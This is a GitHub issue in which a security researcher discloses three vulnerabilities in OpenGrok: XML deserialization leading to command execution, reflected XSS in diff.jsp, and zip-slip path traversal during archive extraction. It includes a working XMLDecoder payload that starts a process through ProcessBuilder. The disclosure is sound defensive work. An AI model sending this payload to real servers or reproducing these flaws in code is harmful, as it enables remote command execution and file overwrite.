Skip to content

multiple vulnerabilities in input data handling #2749

@QiAnXinCodeSafe

Description

@QiAnXinCodeSafe

Hi!
I am a 360 security guard staff member. We found multiple vulnerabilities in Opengrok in our open source code detection project. The details are as follows:
1.XML deserialization vulnerability
The set method in ConfigurationController.java receives the request body in the put request
图片
Finally, the parameter is passed to the decodeObject method and xml is deserialized.
图片
But the attacker will execute the command when passing the following request body.

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start" />
    </object>
</java>

The same problem still exists at line 230 of FileHistoryCache.java

2.Reflective xss
Received two parameters r1 and r2 in the request at line 233 of PageConfig.java.
图片
Finally, after a series of patchwork (but no filtering), output in diff.jsp
E.g:
图片

3.zip_slip
Decompress the zip file in the extractArchive method of FileUtilities.java
图片
Since the zip entry name is not verified, when the zip file maliciously constructed by the attacker is decompressed (the entry name has "../" for path backtracking), the file can be decompressed to any directory, or even overwritten. System Files

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions